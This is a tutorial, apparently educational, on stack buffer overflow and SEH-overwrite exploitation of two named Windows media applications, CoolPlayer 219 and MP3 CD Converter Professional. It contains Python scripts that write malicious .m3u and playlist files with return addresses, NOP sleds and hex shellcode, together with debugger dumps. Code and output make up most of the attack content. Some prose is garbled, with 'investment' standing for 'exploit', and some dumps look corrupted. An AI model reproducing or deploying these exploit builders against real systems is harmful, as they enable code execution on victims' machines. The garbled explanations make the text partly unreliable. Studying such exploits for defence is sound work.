

Buffer overflow exploitation SEH



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Introduction

In software, a stack overflow occurs when too much memory is used on the call stack. The call stack contains a limited amount of memory, often determined at the start of the program. The size of the call stack depends on many factors, including the programming language, machine architecture, multi-threading, and amount of available memory. When a program attempts to use more space than is available on the call stack (that is, when it attempts to access memory beyond the call stack's bounds, which is essentially a buffer overflow), the stack is said to overflow, typically resulting in a program crash. This class of software bug is usually caused by one of two types of programming errors.

Chapter 1

Verify the bug

verify buffer overflow in our example which in my case is CoolPlayer 219 so let's verify that the application does indeed crash when opening a m3u file.

So I will use simple python script to create a .m3u and this file will be help to verify the vulnerability

```
buffer_size = 10000
buffer = "\x41" * buffer_size

payload = (buffer)

f = open("Exploit.m3u", "wb")
f.write(payload)
f.close()
```

Okey in the simple python in the first and second line we create 10000 A's (\x41 is the hexadecimal representation of A) and open this m3u file with CoolPlayer 219. The application throws a crash.



That means presence of buffer overflow vulnerability, so let's attach Immunity Debugger to CoolPlayer to see more things.

- 1 - attach Immunity Debugger to CoolPlayer
- 2 - Run program (F9)
- 3 - Open => Open file .m3u (Exploit.m3u)

```

Registers (FPU)
EAX 00000000
ECX 00000000
EDX 001220E4 ASCII "C:\Documents and Settings\senator of pirates\Desktop
EBX 0037D008 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESP 001221EC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 000003E9
ESI 001229C4 ASCII "C:\Documents and Settings\senator of pirates\Desktop
EDI 000003E8
EIP 41414141
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 7.2911185564592658000e-304
ST1 empty -1.#QNAN0000000000000000
ST2 empty 8.9002900017195807000e-306
ST3 empty -1.2016995817206981000e+306
ST4 empty 8.9011265901053405000e-306
ST5 empty -1.7272337110188889000e-077
ST6 empty 2.4609375000000000000
ST7 empty 1.2519775166695107000e-312
3 2 1 0 E S P U O Z O I
FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

```

Sweet I'm lucky you see we control EIP register 41414141, in the momry stack we can see like this :

Buffer	EBP	EIP	ESP points here
A (*1000)	AAAA	AAAA	AAAAAAAAAAAAAAAA.....
414141414141...41	41414141	41414141	4141414141414141.....

But the defect occurs after the introduction of 207 character let's try that.

```

buffersize = 207
buffer = "\x41" * buffersize
RET= "BBBB"
junk2 = "\43"*100

payload = (buffer +RET +junk2)

f = open("Exploit.m3u","wb")
f.write(payload)
f.close()

```

- 1 - attach Immunity Debugger to coolplayer
- 2 - Run program (F9)
- 3 - Open => Open file .m3u (Exploit.m3u)

```

EAX 00000000
ECX 00000000
EDX 001220E4 ASCII "C:\Documents and Settings\senaator of pirates\Desktop
EBX 0037CE38 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESP 001221EC
EBP 00000004
ESI 001229C4 ASCII "C:\Documents and Settings\senaator of pirates\Desktop
EDI 00000003
EIP 42424242
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
O 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 7.2911185564592658000e-304
ST1 empty -1.#QNAN0000000000000000
ST2 empty 8.9002900017195807000e-306
ST3 empty -1.2016995817206981000e+306
ST4 empty 8.9011265901053405000e-306
ST5 empty -1.7272337110188889000e-077
ST6 empty 2.46093750000000000000
ST7 empty 1.2519775166695107000e-312
      3 2 1 0   E S P U O Z D I
FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 (LT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1

```

If notes EIP 42424242 refers to the point of return adress
 So we will go directly, without lengthening the investment

Exploit = buffer + RET + NOPsled + Shellcode

Some of the ways to search for titles

Of course, search for addresses is necessary to invest in research methods, especially for points of return and we have two ways :

- we have tools like !mona, findjmp2.exe ..
- Research program debugger

So I find adresse 0x7C874413 (jmp esp kernel32.dll)

Note : you can also use call esp or jmp esp

Exploit

Now we put adresse of jmp esp 7C874413 kernel32.dll into EIP register then we put our shellcode in ESP points

If we now overwrite EIP with 0x7C874413, a jmp esp will be executed. Esp contains our shellcode... so we should now have a working exploit. Let's test with our "NOP & break" shellCode


```

filename = "exploit.m3u"
buffer = "\x41"*207
RET = "\x13\x44\x87\x7C" #0x7C874413 kernel32.dll
nopsled = "\x90"*22
#calc.exe
sc = ("\xb8\x20\x65\x02\x44\xdb\xc2\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x32\x31\x42\x12\x03\x42\x12\x83\xca\x99\xe0\xb1\xf6"
"\x8a\x6c\x39\x06\x4b\x0f\xb3\xe3\x7a\x1d\xa7\x60\x2e\x91"
"\xa3\x24\xc3\x5a\xe1\xdc\x50\x2e\x2e\xd3\xd1\x85\x08\xda"
"\xe2\x2b\x95\xb0\x21\x2d\x69\xca\x75\x8d\x50\x05\x88\xcc"
"\x95\x7b\x63\x9c\x4e\xf0\xd6\x31\xfa\x44\xeb\x30\x2c\xc3"
"\x53\x4b\x49\x13\x27\xe1\x50\x43\x98\x7e\x1a\x7b\x92\xd9"
"\xbb\x7a\x77\x3a\x87\x35\xfc\x89\x73\xc4\xd4\xc3\x7c\xf7"
"\x18\x8f\x42\x38\x95\xd1\x83\xfe\x46\xa4\xff\xfd\xfb\xbf"
"\x3b\x7c\x20\x35\xde\x26\xa3\xed\x3a\xd7\x60\x6b\xc8\xdb"
"\xcd\xff\x96\xff\xd0\x2c\xad\xfb\x59\xd3\x62\x8a\x1a\xf0"
"\xa6\xd7\xf9\x99\xff\xbd\xac\xa6\xe0\x19\x10\x03\x6a\x8b"
"\x45\x35\x31\xc1\x98\xb7\x4f\xac\x9b\xc7\x4f\x9e\xf3\xf6"
"\xc4\x71\x83\x06\x0f\x36\x7b\x4d\x12\x1e\x14\x08\xc6\x23"
"\x79\xab\x3c\x67\x84\x28\xb5\x17\x73\x30\xbc\x12\x3f\xf6"
"\x2c\x6e\x50\x93\x52\xdd\x51\xb6\x30\x80\xc1\x5a\xb7")

exploit = buffer+ RET + nopsled + sc
textfile = open(filename,"w")
textfile.write(exploit)
textfile.close()

```

- 1 - attach Immunity Debugger to coolplayer
- 2 - Run program (F9)
- 3 - bp 7C874413 jmp esp (F2)
- 4 - Open => Open file .m3u (Exploit.m3u)



As you see above in the picture executed of shellcode (calculator).

Chapter 2

Definition SEH


Or structure of treatment in the event of a malfunction in the program are Structured Exception Handling

The idea of innovation, Microsoft has issued the company with its own functions, we will discuss this topic in the unit

As these functions have become more widely used in the programs and message for the first reason that when the defect is located in the program, the program goes out without problem

Enter in the details


Pointer To next SEH :



Structure:

```
typedef struct EXCEPTION_REGISTRATION
{
    _EXCEPTION_REGISTRATION *next;
    PEXCEPTION_HANDLER *handler;
} EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;
```

But when an error occurs, or rather the introduction of large, we will be able to change all these titles and you Explanatory:



This means we have got control for SEH

The investment is similar to the system above all other types because this system depends on the other way in Call EBX on the contrary, what we will talk about

Build an appropriate investment



Laden with all the exploitation under the summary of the environments in which we talked about will be on this as :



So now we now how to exploit but questions will be in yourself, which is :

Next_seh[]="\xEB\x06\x90\x90"

What means POP POP RET ?

Frist POP to increase ESP with 4 bytes


Second POP same work of frist POP

RET will be return our pointer next she after jmp+6 for indicates direct ti NOP

Do not bother to the last lines you know it is not impose

So let's typing the following command :

```
findjmp2 kernel32.dll ebx
```




The adresses referred to in red are benefit select any unit, and we select 0x7C818484 and will become like this :

```
char SEH[]="\x84\x84\x81\x7c";
```

Practical Example

In my case I will do example vulnerability program because is very easy in exploitation.

[MP3 CD Converter Professional](#)



Of course everyone knows this gap so it will not touch to explain how it happened and direct to investments

```

buffer = "\x41" * 780
nseh = "\xeb\x0d\x90\x90" #JMP SHORT 14
seh = "\xbf\xce\x77\x00"
nops = "\x90" * 10
shellcode = ("\x33\xC0\x33\xC9\x33\xD2\x33\xDB\x50\x68\x6C\x6C\x20\x20"
"\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x54\x58\xBB\x7B\x1D\x80\x7C\x50"
"\xFF\xD3\x90\x33\xD2\x52\xB9\x5E\x67\x30\xEF\x81\xC1\x11\x11\x11\x11\x51"
"\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x54\x5A\x52\x50"
"\xB9\x30\xAE\x80\x7C\xFF\xD1\x33\xC9\x33\xD2\x33\xDB\x51\x68\x53\x20\x20"
"\x20\x68\x47\x30\x4D\x33\x68\x53\x21\x30\x20\x68\x20\x43"
"\x34\x53\x68\x64\x20\x42\x79\x68\x6F\x69\x74\x65\x68\x45\x78\x70\x6C"
"\x54\x59\x53\x68\x21\x30\x20\x20\x68\x43\x34\x53\x53\x54\x5B"
"\x6A\x40\x53\x51\x52\xFF\xD0\x33\xC0\x50\xBE\xFA\xCA\x81\x7C\xFF\xD6")

```

```
payload = str(buffer + nseh + seh + nops + shellcode)
```

```

f=open(file,"w")
f.write(payload)
f.close()

```

The screenshot displays the Immunity Debugger interface for the process 'MP3CDConverterPro.exe' running on 'Windows XP SP3 on localhost'. The main window shows assembly code for the 'CPU - main thread, module MP3CDCon'. The registers window shows the state of the CPU registers, with EIP pointing to 0077CEBF. The stack window shows the current stack frame at address 00100400. The SEH chain window shows the current SEH record at address 001004B4. The breakpoints window shows a breakpoint set at address 0077CEBF.

Assembly Code (CPU - main thread, module MP3CDCon):

```

0077CEC0 5E POP ESI
0077CEC1 58 POP EAX
0077CEC2 C3 RETN
0077CEC3 8A86 C89591A6 MOV BL, BYTE PTR DS:[ESI+669195C3]
0077CEC4 60 INS DWORD PTR ES:[EDI],DX I/O command
0077CEC9 68 793F3976 PUSH 76393F79
0077CECE 30 35773032 CMP EAX, 323D7735
0077CED3 73 3A JMS SHORT MP3CDCon.0077CF0F
0077CED5 2F DAS
0077CED6 6C INS BYTE PTR ES:[EDI],DX I/O command
0077CED7 35 2065322A XOR EAX, 2A62652C
0077CEDC 6A POPAD
0077CEDD 2F DAS
0077CEDE 2A61 2E SUB AH, BYTE PTR DS:[EDI+2E]
0077CEE1 2A60 2E SUB AH, BYTE PTR DS:[EDI+2E]
0077CEE4 2A60 2E SUB AH, BYTE PTR DS:[EDI+2E]
0077CEE7 2960 20 SUB DWORD PTR DS:[EDI+20],ESP
0077CEEA 2961 2E SUB BYTE PTR DS:[EDI+2E],AH
0077CEED 2960 34 SUB DWORD PTR DS:[EDI+34],EBP
0077CEEF 34 6E XOR AL, 6E
0077CF02 3940 6F CMP DWORD PTR DS:[EDI+6F],EAX
0077CF05 3842 6C CMP BYTE PTR DS:[EDI+6C],AL
0077CF08 36 3F AAS
0077CF09 6C INS DWORD PTR ES:[EDI],DX Superfluous prefix
0077CF0A 60 INC EAX Superfluous prefix
0077CF0B 6C INS BYTE PTR ES:[EDI],DX I/O command
0077CF0C 60 INC ECX Superfluous prefix
0077CF0E 68 3E 40 INS ESI, DWORD PTR DS:[ESI],40
0077CF10 68 3E 40 INHL ESI, DWORD PTR DS:[ESI],40
0077CF12 6C INS BYTE PTR ES:[EDI],DX I/O command
0077CF13 60 INC ECX Superfluous prefix
0077CF14 6C INS BYTE PTR ES:[EDI],DX I/O command
0077CF15 35 416C3541 XOR EAX, 41356C41
0077CF16 6C INS BYTE PTR ES:[EDI],DX I/O command
0077CF17 35 426C3543 XOR EDI, 43356C43
0077CF18 6C INS DWORD PTR ES:[EDI],DX I/O command
0077CF19 35 436D3543 XOR EDI, 43356C43
0077CF1A 6C OUTS DX, BYTE PTR DS:[EDI] I/O command
0077CF1B 66 INC ESP Superfluous prefix
0077CF1C 36 44 OUTS DX, BYTE PTR DS:[EDI] I/O command
0077CF1E 55 AAA
0077CF1F 37 INC EBP
0077CF20 45 OUTS DX, BYTE PTR DS:[EDI] I/O command
0077CF21 6E AAA
0077CF22 37 AAA

```

Registers (FPU):

```

EAX 00000000
ECX 0077CEBF MP3CDCon.0077CEBF
EDX 7C9032BC ntdll.7C9032BC
EBX 00000000
ESP 00100400
EBP 001004C0
ESI 00000000
EDI 00000000
EIP 0077CEBF MP3CDCon.0077CEBF

```

Stack (00100400=7C9032A8 (ntdll.7C9032A8)):

```

Address Hex dump
00475000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00475008 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00475010 00 74 40 00 00 00 76 40 00 00 00 00 00 00 00 00
00475018 00 DC 40 00 00 00 00 40 00 00 00 00 00 00 00 00 00
00475020 00 E3 40 00 00 00 E3 40 00 00 00 00 00 00 00 00 00
00475028 20 EA 40 00 00 00 EA 40 00 00 00 00 00 00 00 00 00
00475030 00 EA 40 00 00 00 EA 40 00 00 00 00 00 00 00 00 00
00475038 00 08 41 00 20 10 00 00 00 00 00 00 00 00 00 00
00475040 00 2C 41 00 20 2E 41 00 00 00 00 00 00 00 00 00
00475048 00 50 42 00 F0 8E 42 00 00 00 00 00 00 00 00 00 00
00475050 00 8F 42 00 90 8F 42 00 00 00 00 00 00 00 00 00 00
00475058 00 8F 42 00 C0 8F 43 00 00 00 00 00 00 00 00 00 00
00475060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00475068 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00475070 FF 7F FE 7F FC 7E 7F 0E 00 00 00 00 00 00 00 00 00
00475078 F4 7F EE 7F E7 7E DE 7F 0E 00 00 00 00 00 00 00 00
00475080 04 7F C9 7F 8C 7E 8E 7F 0E 00 00 00 00 00 00 00 00
00475088 3F 7F 8E 7F 7E 7E 69 7F 0E 00 00 00 00 00 00 00 00
00475090 54 7F 3E 7F 27 7E 0E 7F 0E 00 00 00 00 00 00 00 00
00475098 F4 7E D9 7E 8D 7E 9F 7E 7F 0E 00 00 00 00 00 00 00
004750A0 7F 5F 7E 3D 7E 1A 7E 0E 00 00 00 00 00 00 00 00 00
004750A8 F6 7D 00 7D 09 7D 81 7D 0E 00 00 00 00 00 00 00 00
004750B0 67 7D 2C 7D 00 7D 08 7C 7D 0E 00 00 00 00 00 00 00 00
004750B8 84 7C 74 2C 43 7C 10 7C 0E 00 00 00 00 00 00 00 00
004750C0 0C 7E A7 7E 71 7E 39 7E 0E 00 00 00 00 00 00 00 00
004750C8 01 7E C7 7A 88 7A 4F 7A 0E 00 00 00 00 00 00 00 00
004750D0 11 7A D2 7A 32 7A 50 7A 0E 00 00 00 00 00 00 00 00
004750D8 0E 7A 0A 8E 7A 3F 7A 0E 00 00 00 00 00 00 00 00
004750E0 F7 7F AF 77 65 77 1A 77 0E 00 00 00 00 00 00 00 00
004750E8 CE 76 81 76 32 76 53 76 0E 00 00 00 00 00 00 00 00
004750F0 92 75 40 75 ED 74 99 74 0E 00 00 00 00 00 00 00 00
004750F8 44 74 FD 73 96 73 30 73 0E 00 00 00 00 00 00 00 00

```

SEH chain of main thread:

```

Address SE handler
001004B4 ntdll.7C9032BC
00100C88 00000000

```

Breakpoints:

```

Address Module Active Disassembly
0077CEBF MP3CDCon Always POP ESI

```

So thanks guys for reading my paper and I would like to thank to friends:
 corelanc0d3r (corelan team)
 Rahul Tyagi